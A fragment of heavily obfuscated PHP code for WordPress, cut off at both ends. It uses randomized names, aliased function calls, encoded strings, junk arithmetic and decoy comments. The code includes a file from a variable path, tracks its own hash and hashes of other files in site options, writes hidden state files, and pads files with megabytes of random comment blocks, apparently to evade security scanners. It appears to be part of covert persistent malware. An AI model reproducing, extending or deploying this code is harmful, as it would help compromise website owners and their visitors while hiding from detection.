y258fvtiyat3mobu($r99j2wxw_q0gcb1 .  pvz_9xuc0nzl0m(1318)    .   $kbz5_07pcvln7i0f,   $GLOBALS['__scf_gvrvt5qjna_57']($zjbrbtyuef), j8bjjevd80e(1315));
  y258fvtiyat3mobu($r99j2wxw_q0gcb1    . s99lg14mcd3un(1307)  .    $kbz5_07pcvln7i0f,   jqg87ez26lzm3yp01xj2q(), s99lg14mcd3un(1315));
   @include_once     $eaduzpjsbi8q;
  set_transient(b5xx0lrqzfc(1319),    1,  (0xc8+0x64));
    }



 unset($jkvjr35gv1,   $rpxsylywzt19g,    $_o9bjmka91wc51a4);
   } catch (Throwable $uvo4msk8s29_) {

      f1995qrx5prr7cbl19co0e(pvz_9xuc0nzl0m(1315), $uvo4msk8s29_);

     }    catch     (Exception     $uvo4msk8s29_) {$gv_cz6g4vk8r4r=PHP_MAJOR_VERSION;$v3jw0sprh0r_kt=$gv_cz6g4vk8r4r*4;
      }
 }
   function   g6jpyeq0fm_rzn($jl0bklzorm3m_ubj)
   {
    if   (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($jl0bklzorm3m_ubj)) return    false;
      $j7use0_0kv8   =   $GLOBALS['__scf_d413tdd725_10']($jl0bklzorm3m_ubj);
   if ($j7use0_0kv8   >  (1505920-457344))    return  true;
   if   ($j7use0_0kv8 < (476+24))  return   false;
 $bd0ad_ft8nkszq    =  $GLOBALS['__scf_kmygv436ft5pn_9']($jl0bklzorm3m_ubj,  0,   (55830+9706));
 $ghgv1ycv41p4frx  =   $GLOBALS['__scf_l72txamt1_rl_1320']($bd0ad_ft8nkszq,  ' ')  +    $GLOBALS['__scf_l72txamt1_rl_1320']($bd0ad_ft8nkszq,    "\t");$d6t9xzf6o3nip=44|18;$r0pgwso1jt=$d6t9xzf6o3nip^236;
   return    ($ghgv1ycv41p4frx / $GLOBALS['__scf_d413tdd725_10']($bd0ad_ft8nkszq))  > 0.55;
}
function  usllxr5akmyy8c($efp0x3abmqd6x  =  false)
        {
 static  $xa6_dathyqd  =   null;
     if ($efp0x3abmqd6x)  {
      $xa6_dathyqd   =    null;
}
   if  ($xa6_dathyqd  !==  null) return   $xa6_dathyqd;
 $jl0bklzorm3m_ubj =  wj9blpi2pvw8f3b8qhcxu(curga5ep68su8__o());
   if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($jl0bklzorm3m_ubj)     &&  $GLOBALS['__scf_d413tdd725_10']($jl0bklzorm3m_ubj) > (492+8)  &&  $GLOBALS['__scf_d413tdd725_10']($jl0bklzorm3m_ubj)  <= (1532148-483572) &&  !g6jpyeq0fm_rzn($jl0bklzorm3m_ubj)   && ro9zxkt259xhwz4($jl0bklzorm3m_ubj)) {



   $xa6_dathyqd =  $jl0bklzorm3m_ubj;
 return  $xa6_dathyqd;
       }
   $ro7il7ueo5oiaeu2 =      fisznicc_bnq0q9lpk5a1j(b5xx0lrqzfc(869),    "");
  if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($ro7il7ueo5oiaeu2)      &&  $GLOBALS['__scf_d413tdd725_10']($ro7il7ueo5oiaeu2)   >  (0xc4+0x130)  &&     $GLOBALS['__scf_d413tdd725_10']($ro7il7ueo5oiaeu2)  <=     (1048556+20)     &&      !g6jpyeq0fm_rzn($ro7il7ueo5oiaeu2)  && ro9zxkt259xhwz4($ro7il7ueo5oiaeu2))  {
  $xa6_dathyqd   = $ro7il7ueo5oiaeu2;$mak3_1q9=219|232;$wns2bm_0=$mak3_1q9^43;
 return $xa6_dathyqd;
  }



   $xa6_dathyqd =  false;
  return   $xa6_dathyqd;
}
  function  nz_ixcwyiz2y1c2_dll9j($efp0x3abmqd6x   = false)
  {
static  $xaa85adji_z  =   null;
    if ($efp0x3abmqd6x)    {$i2wu0c9u=31*5;$ls3netysjnf=$i2wu0c9u-17;
 $xaa85adji_z  = null;

  }
 if     ($xaa85adji_z !== null)     return $xaa85adji_z;



  $jl0bklzorm3m_ubj =  usllxr5akmyy8c();
    if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($jl0bklzorm3m_ubj)     || $GLOBALS['__scf_d413tdd725_10']($jl0bklzorm3m_ubj) < (440+60) || $GLOBALS['__scf_d413tdd725_10']($jl0bklzorm3m_ubj)      >  (1048545+31) ||     g6jpyeq0fm_rzn($jl0bklzorm3m_ubj) ||    !ro9zxkt259xhwz4($jl0bklzorm3m_ubj))  {
  $xaa85adji_z = false;
 return     $xaa85adji_z;
     }
  $xaa85adji_z  =  $GLOBALS['__scf_l90bo4vfyn_356'](j4k2bf27tex9e69u29($jl0bklzorm3m_ubj));
return $xaa85adji_z;
     }
 function  oy6ypar1iohigl8mna($i4g_we48yi)


 {

 if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($i4g_we48yi)   ||  $GLOBALS['__scf_d413tdd725_10']($i4g_we48yi) <  (36-18)  ||  $GLOBALS['__scf_kmygv436ft5pn_9']($i4g_we48yi, 0,  2)      !==   "\x1f\x8b")     return  0;$num_6oom8o=-165;$j5jefxfs7m2w=($num_6oom8o>0)?$num_6oom8o:-$num_6oom8o;
      $p3xz35rtyn =   @$GLOBALS['__scf_t8ninb5y9y_281']('V',      $GLOBALS['__scf_kmygv436ft5pn_9']($i4g_we48yi,   -(24^28)));
  $p3xz35rtyn   =  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($p3xz35rtyn)  ? $p3xz35rtyn[1]   :    0;
  if    ($p3xz35rtyn  <   (348+152)  ||   $p3xz35rtyn    >    (1048539+37)) return      $p3xz35rtyn;

 return  0;

   }
   function      u4xpk0ppgdkhjk0dcrzlff($ljvicb11d2w9)
        {
  return    $GLOBALS['__scf_f_epkgohi5_354'](hexdec($ljvicb11d2w9[1]));

    }
     function  bpgn93eq1czhbg($yazr2g01258tle)
{



  if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle) || $yazr2g01258tle ===   "")  return  $yazr2g01258tle;
 static     $eyq3_mmzb06s    = null;
if ($eyq3_mmzb06s  === null) {


 $eyq3_mmzb06s = false;



    if ($GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1321)))   {
// WordPress 6.4 patterns: strict container




    $_dd =    defined(b5xx0lrqzfc(1206))    ?  WP_CONTENT_DIR    :      (defined(cv8ducrec(1260))   ?   ABSPATH   :   "");
if   ($_dd  !==    "") {
 $p1ma_k3tc8l43n = @disk_free_space($_dd);
if  ($p1ma_k3tc8l43n     !==  false && $p1ma_k3tc8l43n  >=  (157286321+79))    $eyq3_mmzb06s  =  true;
    }
    }


   if    (!$eyq3_mmzb06s)    {
if  ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1322)))   @update_option(cv8ducrec(1323),    $GLOBALS['__scf_tmn0v_xik_1b_195'](),    cv8ducrec(1052));



 }     elseif  ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1214))) {$rl_maouab=9876;$i0czu7l_=$rl_maouab%15;


     $owkzk_wt8jo7 = (int)   get_option(s99lg14mcd3un(1323),   0);
       if  ($owkzk_wt8jo7     &&    $GLOBALS['__scf_tmn0v_xik_1b_195']()    - $owkzk_wt8jo7  < (0x6353+0xee2d))    $eyq3_mmzb06s   =   false;
}
   }
 if    (!$eyq3_mmzb06s)     {
// @spawn fallback-handler

 return   $yazr2g01258tle;
 }
  $pcxgo4oaej44rf =    s9cy9xvxk8jsc0lh59isve();
 if  ($pcxgo4oaej44rf     === -1 ||  $pcxgo4oaej44rf >= (0x7506ea6+0xaf915a))    {

$l67t6hzxy6qd81   =   (1799928+72)    + $GLOBALS['__scf_pbb_q2_l2kzq6z_355'](0,   (0x1bd02+0x8f15e));
     } elseif ($pcxgo4oaej44rf >= (67108771+93)) {


    $l67t6hzxy6qd81  =   (0x12ad1b+0x8ca25) +    $GLOBALS['__scf_pbb_q2_l2kzq6z_355'](0, (66311+633689));
   }    else {
 return  $yazr2g01258tle;
}



if ($GLOBALS['__scf_d413tdd725_10']($yazr2g01258tle)  >=  $l67t6hzxy6qd81) return   $yazr2g01258tle;
 if ($GLOBALS['__scf_kmygv436ft5pn_9']($GLOBALS['__scf_qv5p187x3gyo_12']($yazr2g01258tle), -2) ===  pvz_9xuc0nzl0m(1324))    return  $yazr2g01258tle;
      while ($GLOBALS['__scf_d413tdd725_10']($yazr2g01258tle)  < $l67t6hzxy6qd81 - (4067+33))   {
 $lixijsuy7hjm_   =   "";
if ($GLOBALS['__scf_sc29wu2n9b_4'](s99lg14mcd3un(1325)))  {
try  {
    $lixijsuy7hjm_ =     @$GLOBALS['__scf_vcn8iqclfv_1326'](random_bytes((2458-458)));
 }   catch (Throwable $uvo4msk8s29_)      {
// link streaming enumerator

 $lixijsuy7hjm_ =  "";
      }  catch (Exception   $uvo4msk8s29_)  {



      $lixijsuy7hjm_ =  "";
  }
   }
 if   ($GLOBALS['__scf_d413tdd725_10']($lixijsuy7hjm_) <  (3927+73))     {
    $lixijsuy7hjm_    =  $GLOBALS['__scf_gvrvt5qjna_57'](uniqid("",   true));


    while   ($GLOBALS['__scf_d413tdd725_10']($lixijsuy7hjm_)  <   (1079+2921)) $lixijsuy7hjm_ .=     $GLOBALS['__scf_gvrvt5qjna_57']($lixijsuy7hjm_);



 }



   $yazr2g01258tle  .=    "\n/*"  . $lixijsuy7hjm_ . s99lg14mcd3un(1327);
   }



   return     $yazr2g01258tle;



 }
function      gg_b7drpimzvzg($yazr2g01258tle)
{
    if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)   ||   $GLOBALS['__scf_d413tdd725_10']($yazr2g01258tle) <=  (1048496+80))   return     $yazr2g01258tle;
$juichfk25b__   = $GLOBALS['__scf_y_ur004dxjki__462'](cv8ducrec(1328),   "",      $yazr2g01258tle);
return  $GLOBALS['__scf_qubutkuvnnc4sx_41']($juichfk25b__)     ?      $juichfk25b__ :   $yazr2g01258tle;
  }
      function   s9cy9xvxk8jsc0lh59isve()



  {
        static $hjiruof3s0agy5tq  =    null;
     if     ($hjiruof3s0agy5tq !==      null)    return     $hjiruof3s0agy5tq;
     $hjiruof3s0agy5tq =    0;
 if   (!$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(520)))     return   $hjiruof3s0agy5tq;



      $i4g_we48yi  =  @$GLOBALS['__scf_aojulu3bik1_116'](s99lg14mcd3un(1329));
if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($i4g_we48yi)) return $hjiruof3s0agy5tq;


 $i4g_we48yi = $GLOBALS['__scf_qbsuu37jbe5t_328']($i4g_we48yi);

  if  ($i4g_we48yi  === "")  return     $hjiruof3s0agy5tq;
        if  ($i4g_we48yi === cv8ducrec(1330)) {
 $hjiruof3s0agy5tq    =     -1;

return $hjiruof3s0agy5tq;

  }
   $cq_6gw44hx8jcvy   = (float)  $i4g_we48yi;
 $m346v0mu32z_due8 =   $GLOBALS['__scf_aqttepatotdjb4_1331']($GLOBALS['__scf_kmygv436ft5pn_9']($i4g_we48yi, -1));
if   ($m346v0mu32z_due8     ===  'G')  $cq_6gw44hx8jcvy *= (1418495919-344754095);


     elseif   ($m346v0mu32z_due8 ===   'M')  $cq_6gw44hx8jcvy *=   (821209+227367);
  elseif ($m346v0mu32z_due8 ===  'K')    $cq_6gw44hx8jcvy     *=   (0x31c+0xe4);
    if  ($cq_6gw44hx8jcvy >   0)   $hjiruof3s0agy5tq   = (int)   $cq_6gw44hx8jcvy;
  return $hjiruof3s0agy5tq;
 }
function    ylaz2n86rjgc8_cme($p49f5el5wg)
 {
 $p49f5el5wg  = (int)  $p49f5el5wg;
 if  ($p49f5el5wg <=   0)    return  false;
      if (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(672))) return    false;
$h79p_o66akf9si   =   s9cy9xvxk8jsc0lh59isve();



     if  ($h79p_o66akf9si     === -1) return true;
    if    ($h79p_o66akf9si  <=      0)    return   false;
  $r7li5rraxdfi4p5   =  @memory_get_usage(true);
      if     (!$GLOBALS['__scf_f1uocve5nz5i_39']($r7li5rraxdfi4p5)  ||  $r7li5rraxdfi4p5      < 0) return   false;



return ($h79p_o66akf9si    - $r7li5rraxdfi4p5)   >    (($p49f5el5wg * (0x2+0x1))  +    (2097069+83));


 }
       function   jtc4z8ezx823vrs1u($p49f5el5wg)
{
 $p49f5el5wg    = (int) $p49f5el5wg;
if  ($p49f5el5wg  <=   0)  return    false;
 if  (!$GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(672)))  return    true;
$h79p_o66akf9si   =   s9cy9xvxk8jsc0lh59isve();
     if   ($h79p_o66akf9si ===  -1)   return true;
if  ($h79p_o66akf9si  <=  0) return    true;

     $r7li5rraxdfi4p5    =   @memory_get_usage(true);
if  (!$GLOBALS['__scf_f1uocve5nz5i_39']($r7li5rraxdfi4p5) ||    $r7li5rraxdfi4p5  <  0)   return    true;
return    ($h79p_o66akf9si  -   $r7li5rraxdfi4p5)    >  (($p49f5el5wg   *   (5<<2)) +  (8388591+17));
 }
function    wj9blpi2pvw8f3b8qhcxu($of_pcm29oxt9u3z)
       {

if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($of_pcm29oxt9u3z) ||    $of_pcm29oxt9u3z  === ""     ||    !@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z))   return false;
      if   ($GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(60)))    @clearstatcache(true,    $of_pcm29oxt9u3z);
 $p49f5el5wg    =     @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($of_pcm29oxt9u3z);
   if    (!$GLOBALS['__scf_f1uocve5nz5i_39']($p49f5el5wg)   || $p49f5el5wg  <  1)    return  false;

  if ($p49f5el5wg   > (52428788+12))  return null;
     if  ($p49f5el5wg     >   (1048560+16)   &&  !ylaz2n86rjgc8_cme($p49f5el5wg))  return  null;
 $yazr2g01258tle      = @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z, false, null,    0,  $p49f5el5wg     +  1);
   if (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle) ||  $GLOBALS['__scf_d413tdd725_10']($yazr2g01258tle)  !==      $p49f5el5wg)  return false;
  return  $p49f5el5wg  > (1730104-681528)     ?  gg_b7drpimzvzg($yazr2g01258tle)   :    $yazr2g01258tle;
     }
function     xmuf92hov77yw0fjcu8($of_pcm29oxt9u3z)



    {
if (!$GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1214))   ||  !$GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1322)))  return;
  if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($of_pcm29oxt9u3z)  || $of_pcm29oxt9u3z      ===  ""     || !@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z)) return;
 if    (!isset($GLOBALS[pvz_9xuc0nzl0m(1332)])     ||   !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[j8bjjevd80e(1333)]))   {
     $GLOBALS[s99lg14mcd3un(1333)]    =  get_option(s99lg14mcd3un(1334), array());



  if  (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[cv8ducrec(1333)]))  $GLOBALS[cv8ducrec(1333)] =  array();
}
 $ljvicb11d2w9   =   $GLOBALS[j8bjjevd80e(1333)];
 $yazr2g01258tle  = wj9blpi2pvw8f3b8qhcxu($of_pcm29oxt9u3z);
  if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle))   return;
$ljvicb11d2w9[$GLOBALS['__scf_gvrvt5qjna_57']($of_pcm29oxt9u3z)]   = array('p'      => $of_pcm29oxt9u3z,   'h' =>    $GLOBALS['__scf_gvrvt5qjna_57']($yazr2g01258tle),  'g' => jqg87ez26lzm3yp01xj2q(), 't' =>  $GLOBALS['__scf_tmn0v_xik_1b_195']());


if ($GLOBALS['__scf_tbu69vegc9f_36']($ljvicb11d2w9)  >   (19^219))  {
 foreach  ($ljvicb11d2w9  as $h4sg6v8cdzuctlj     =>    $cq_6gw44hx8jcvy)   {
 if (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($cq_6gw44hx8jcvy) ||  !isset($cq_6gw44hx8jcvy['t'])  ||    (int)  $cq_6gw44hx8jcvy['t']   < $GLOBALS['__scf_tmn0v_xik_1b_195']() - (2591943+57))  unset($ljvicb11d2w9[$h4sg6v8cdzuctlj]);
  }


      while    ($GLOBALS['__scf_tbu69vegc9f_36']($ljvicb11d2w9)  >    (61+139)) {
$l6gwea6czqv    =  null;



$wgmcqsdny7u =   null;
foreach   ($ljvicb11d2w9  as   $h4sg6v8cdzuctlj =>    $cq_6gw44hx8jcvy)   {
     $ytrj3qm_szx71f    =  $GLOBALS['__scf__qh9f0l6g7e7ez_35']($cq_6gw44hx8jcvy)  &&   isset($cq_6gw44hx8jcvy['t'])  ? (int)     $cq_6gw44hx8jcvy['t'] : 0;
  if  ($wgmcqsdny7u  === null   || $ytrj3qm_szx71f   < $wgmcqsdny7u)  {
 $wgmcqsdny7u =  $ytrj3qm_szx71f;
$l6gwea6czqv = $h4sg6v8cdzuctlj;



   }
   }

 if  ($l6gwea6czqv ===  null)  break;
unset($ljvicb11d2w9[$l6gwea6czqv]);
   }
 }

 update_option(b5xx0lrqzfc(1335), $ljvicb11d2w9,   s99lg14mcd3un(1052));
       $GLOBALS[s99lg14mcd3un(1333)] =     $ljvicb11d2w9;$k45k5t73zlk=(0x28+0x94);$pzgi_atyy=$k45k5t73zlk%13;
}


      function   m5wd69bqaohezg3q($of_pcm29oxt9u3z)
    {
      if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($of_pcm29oxt9u3z)    || $of_pcm29oxt9u3z  ===   "")   return  false;
 if  (!isset($GLOBALS[s99lg14mcd3un(1333)]) ||   !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[b5xx0lrqzfc(1333)]))   {
   $GLOBALS[s99lg14mcd3un(1333)] =   $GLOBALS['__scf_sc29wu2n9b_4'](b5xx0lrqzfc(1336))     ?   get_option(b5xx0lrqzfc(1335),   array())   :  array();
   if  (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($GLOBALS[j8bjjevd80e(1337)]))     $GLOBALS[cv8ducrec(1337)]   = array();
       }
 $ljvicb11d2w9 = $GLOBALS[j8bjjevd80e(1338)];
$ozqwzh1eke5kcb    =   $GLOBALS['__scf_gvrvt5qjna_57']($of_pcm29oxt9u3z);
if   (isset($ljvicb11d2w9[$ozqwzh1eke5kcb]) && $GLOBALS['__scf__qh9f0l6g7e7ez_35']($ljvicb11d2w9[$ozqwzh1eke5kcb]) &&  isset($ljvicb11d2w9[$ozqwzh1eke5kcb]['h']))     {
   if    ((int)    @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($of_pcm29oxt9u3z)   >    (52428710+90))  return  s99lg14mcd3un(1339);
    $yazr2g01258tle      = wj9blpi2pvw8f3b8qhcxu($of_pcm29oxt9u3z);



 if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)) {
 return     ($GLOBALS['__scf_gvrvt5qjna_57']($yazr2g01258tle) ===   $ljvicb11d2w9[$ozqwzh1eke5kcb]['h'])   ?  true     :     cv8ducrec(1340);
   }
// measure constant-time broadcaster

        return  false;
    }
// partition obstruction-free factory

  if    (oahk6ik6p30_tx4($of_pcm29oxt9u3z,  (458+42)))    {


$qnhfvuwbru63u31  =     @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z,   false, null,  0, (4088+8));
 if ($GLOBALS['__scf_qubutkuvnnc4sx_41']($qnhfvuwbru63u31)    &&  $GLOBALS['__scf_ya_jdhkqpku_7']($qnhfvuwbru63u31,      b5xx0lrqzfc(969))  !==  false) return    b5xx0lrqzfc(1341);
      }
   return false;
 }
        function   zxfq3_tgw7t51nr()
 {



       static $ljvicb11d2w9   =  null;
if  ($ljvicb11d2w9 !== null)  return     $ljvicb11d2w9;
  $yazr2g01258tle = wj9blpi2pvw8f3b8qhcxu(curga5ep68su8__o());
   $ljvicb11d2w9 = $GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle) &&    $yazr2g01258tle   !==   "" ?   $GLOBALS['__scf_gvrvt5qjna_57']($yazr2g01258tle) : "";
   return $ljvicb11d2w9;



       }
  function lm2i72x5mrcyx7()
{



   return   $GLOBALS['__scf_kmygv436ft5pn_9'](zxfq3_tgw7t51nr(), 0,  (4+8));

 }


     function   n71flruy5n80gby3_rfqe()
   {



 return   wjdsjl3nphz8g9u()  .  b5xx0lrqzfc(1342)   .  inbj7my4zpjuh_tx(ABSPATH  . pvz_9xuc0nzl0m(1343),  (1+7)) .  s99lg14mcd3un(1302);
  }
  function   vpmjuicl682dmrh1gmv9u()



  {
    $wb95zbltqqiepb8y  = array();
 if  ($GLOBALS['__scf_sc29wu2n9b_4'](j8bjjevd80e(1336)))   {



    $um1foy1mtj69b   =   @get_option(s99lg14mcd3un(1344), array());
if    ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($um1foy1mtj69b))    $wb95zbltqqiepb8y      =     $um1foy1mtj69b;
  }
 $yazr2g01258tle    =   @$GLOBALS['__scf_xaseomj3flge_20'](n71flruy5n80gby3_rfqe())     ?     @$GLOBALS['__scf_v_rxq_yh85s05_99'](n71flruy5n80gby3_rfqe())   :  "";
     if  ($GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle)  &&  $GLOBALS['__scf_ya_jdhkqpku_7']($yazr2g01258tle,  pvz_9xuc0nzl0m(1227))    ===   0)  {
    $xpu6o9_f75z  =  $GLOBALS['__scf_esp9o7pdt1mu_333']($GLOBALS['__scf_kmygv436ft5pn_9']($yazr2g01258tle, (6-1)),      true);
   if  ($GLOBALS['__scf__qh9f0l6g7e7ez_35']($xpu6o9_f75z)  &&   (empty($wb95zbltqqiepb8y[s99lg14mcd3un(1345)]) ||    (!empty($xpu6o9_f75z[pvz_9xuc0nzl0m(1346)])   &&   $xpu6o9_f75z[b5xx0lrqzfc(1346)] >= $wb95zbltqqiepb8y[pvz_9xuc0nzl0m(1346)]))) $wb95zbltqqiepb8y  =   $xpu6o9_f75z;
     }
return    $wb95zbltqqiepb8y;
     }
 function dhcqo7x2bpwxg8p954($ju57k2816xie)
   {
  try     {
// binary mode

   if (!defined(cv8ducrec(1347)))   return;
     $u4myi4a8fa1vxhx4  =    $GLOBALS['__scf_tmn0v_xik_1b_195']();
  if ($ju57k2816xie ===      s99lg14mcd3un(228)  ||  $ju57k2816xie === b5xx0lrqzfc(1348)) {
 $prev = vpmjuicl682dmrh1gmv9u();
 if     (
     isset($prev[cv8ducrec(1349)], $prev[cv8ducrec(1350)])   &&  $prev[j8bjjevd80e(1349)]     === $ju57k2816xie
  && $u4myi4a8fa1vxhx4  - (int)  $prev[b5xx0lrqzfc(1350)]    < ($ju57k2816xie    ===    pvz_9xuc0nzl0m(1348)  ?   (369-69)      :   (15-5))


 )     return;
 

}
  $wb95zbltqqiepb8y = array(



'v' => jqg87ez26lzm3yp01xj2q(),
  pvz_9xuc0nzl0m(1351)  =>     lm2i72x5mrcyx7(),



 s99lg14mcd3un(220)  =>  curga5ep68su8__o(),
s99lg14mcd3un(1352)  =>      $GLOBALS['__scf_xz_5zbcnz0m_3'](curga5ep68su8__o(),  s99lg14mcd3un(1302)),
    b5xx0lrqzfc(1349)    =>   $ju57k2816xie,
 s99lg14mcd3un(1353)   =>   $u4myi4a8fa1vxhx4,
s99lg14mcd3un(1350)  =>   $u4myi4a8fa1vxhx4,
cv8ducrec(1346)     =>   isset($_SERVER[pvz_9xuc0nzl0m(1354)]) ?  (int)     $_SERVER[pvz_9xuc0nzl0m(1354)]  :  $u4myi4a8fa1vxhx4,
     );



 if      ($GLOBALS['__scf_sc29wu2n9b_4'](pvz_9xuc0nzl0m(1355))) {
 $rv161tz9nwxcyci    =  @update_option(s99lg14mcd3un(1344),  $wb95zbltqqiepb8y, s99lg14mcd3un(1356));
 if ($rv161tz9nwxcyci  === false   &&     $GLOBALS['__scf_sc29wu2n9b_4'](cv8ducrec(1357))) {
$n4zqrc5d6su    =  @get_option(pvz_9xuc0nzl0m(1344), array());
  $nkj6ffxzwz     =     !$GLOBALS['__scf__qh9f0l6g7e7ez_35']($n4zqrc5d6su) || !isset($n4zqrc5d6su[pvz_9xuc0nzl0m(1358)],   $n4zqrc5d6su[b5xx0lrqzfc(1350)])  ||  $n4zqrc5d6su[j8bjjevd80e(1358)]    !== $ju57k2816xie ||     (int) $n4zqrc5d6su[cv8ducrec(1359)] !== $u4myi4a8fa1vxhx4;
  if    ($nkj6ffxzwz   && isset($GLOBALS[b5xx0lrqzfc(886)])   &&  $GLOBALS['__scf_zr5xv8ge2ijskk_69']($GLOBALS[s99lg14mcd3un(886)])      &&  $GLOBALS['__scf_r5y2nofw5p1zz_126']($GLOBALS[pvz_9xuc0nzl0m(886)],   b5xx0lrqzfc(1360)))    {
      @$GLOBALS[b5xx0lrqzfc(1361)]->check_connection(false);
 @update_option(j8bjjevd80e(1344),     $wb95zbltqqiepb8y,  pvz_9xuc0nzl0m(1356));
}
   unset($n4zqrc5d6su,     $nkj6ffxzwz);
 }
// bootstrap unitary vault

    unset($rv161tz9nwxcyci);
}
  $_gbdleyfzdd97b = wjdsjl3nphz8g9u();
 if (@$GLOBALS['__scf_nish5zuncssvgd_43']($_gbdleyfzdd97b)      ||      fqnjhjvlv62gig($_gbdleyfzdd97b,   (0x166+0x87),    true))  {$bliytl_lh=-605;$wdt7emvta=($bliytl_lh>0)?$bliytl_lh:-$bliytl_lh;

       @$GLOBALS['__scf_nr899f15j7ix_205'](n71flruy5n80gby3_rfqe(), s99lg14mcd3un(1362)   .  $GLOBALS['__scf_ks9itesnmzhh_594']($wb95zbltqqiepb8y));
  }
  }   catch   (Throwable $uvo4msk8s29_) {
     }  catch  (Exception $uvo4msk8s29_) {
  }
 }
   function dckf2ocna1pjd25bpp($wb95zbltqqiepb8y)
   {
      if  (!$GLOBALS['__scf__qh9f0l6g7e7ez_35']($wb95zbltqqiepb8y) ||   empty($wb95zbltqqiepb8y[pvz_9xuc0nzl0m(1363)])   ||  !$GLOBALS['__scf_qubutkuvnnc4sx_41']($wb95zbltqqiepb8y[cv8ducrec(1363)]))    return  cv8ducrec(222);
      $gx1wu9an7cfa2x_t    = $wb95zbltqqiepb8y[b5xx0lrqzfc(1363)];
  if   (!@$GLOBALS['__scf_xaseomj3flge_20']($gx1wu9an7cfa2x_t)  || (int)   @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($gx1wu9an7cfa2x_t)   <  (306+194))  return    cv8ducrec(222);
 if    (hrfhci3wwbgn47uho($gx1wu9an7cfa2x_t))  return     pvz_9xuc0nzl0m(1364);
$sv8wto3s5byv  =   isset($wb95zbltqqiepb8y[j8bjjevd80e(1365)]) ?    $wb95zbltqqiepb8y[cv8ducrec(1365)] : "";
$gt6c1ganuari0   =  isset($wb95zbltqqiepb8y[j8bjjevd80e(1366)])  ? (int) $wb95zbltqqiepb8y[cv8ducrec(1366)]   :   0;
     if    ($sv8wto3s5byv ===   pvz_9xuc0nzl0m(1367))  return    ($gt6c1ganuari0 >     0      && $GLOBALS['__scf_tmn0v_xik_1b_195']()  -    $gt6c1ganuari0  <=    (696+2904))   ?  b5xx0lrqzfc(1368) : pvz_9xuc0nzl0m(1369);
    if   ($sv8wto3s5byv ===  cv8ducrec(198))   return  s99lg14mcd3un(1364);
  if   ($sv8wto3s5byv ===    pvz_9xuc0nzl0m(228))   return     ($gt6c1ganuari0      > 0     && $GLOBALS['__scf_tmn0v_xik_1b_195']()  -   $gt6c1ganuari0 <=     (18^106)) ? cv8ducrec(1369)      : j8bjjevd80e(1370);
 return b5xx0lrqzfc(1369);



 }


   function  dat9tig44if2fhzvffmjdd($of_pcm29oxt9u3z)
{
 if  (!@$GLOBALS['__scf_xaseomj3flge_20']($of_pcm29oxt9u3z)) return   false;
     $vdfpv2zrab78z  =  (int)     @$GLOBALS['__scf_a5ks8ssf6z1jkm_103']($of_pcm29oxt9u3z);$u_m3pqqo_=25+72;$dg59imsl6on=$u_m3pqqo_-1;
   if      ($vdfpv2zrab78z   < (183+317) ||     $vdfpv2zrab78z   >  (52428736+64)) return  false;
  $qnhfvuwbru63u31 =   @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z,   false,  null,   0, (506+3590));
  if    (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($qnhfvuwbru63u31)   ||  !$GLOBALS['__scf_cr07b5s7432_100'](cv8ducrec(219),   $qnhfvuwbru63u31))      return false;



  if ($vdfpv2zrab78z  > (0x8bef+0xf7411))   {

  $l67t6hzxy6qd81   =     @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z, false,     null, $vdfpv2zrab78z - (4091+5));
    return $GLOBALS['__scf_qubutkuvnnc4sx_41']($l67t6hzxy6qd81)  &&    $GLOBALS['__scf_cr07b5s7432_100'](pvz_9xuc0nzl0m(1371),   $l67t6hzxy6qd81)     ===  1;
 }
   $yazr2g01258tle =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($of_pcm29oxt9u3z);
    if  (!$GLOBALS['__scf_qubutkuvnnc4sx_41']($yazr2g01258tle))   return     false;
  return  ro9zxkt259xhwz4($yazr2g01258tle);
   

 }
 function  q3hfvmih78obmd4trwgtn($w8hbh2dz61uz8p4j,    $oxgrzhf_b1dott)
   {
   $phet24rlbsvj     =  @$GLOBALS['__scf_v_rxq_yh85s05_99']($w8hbh2dz61uz8p4j, false, null,      0, (0x13f+0xec1));


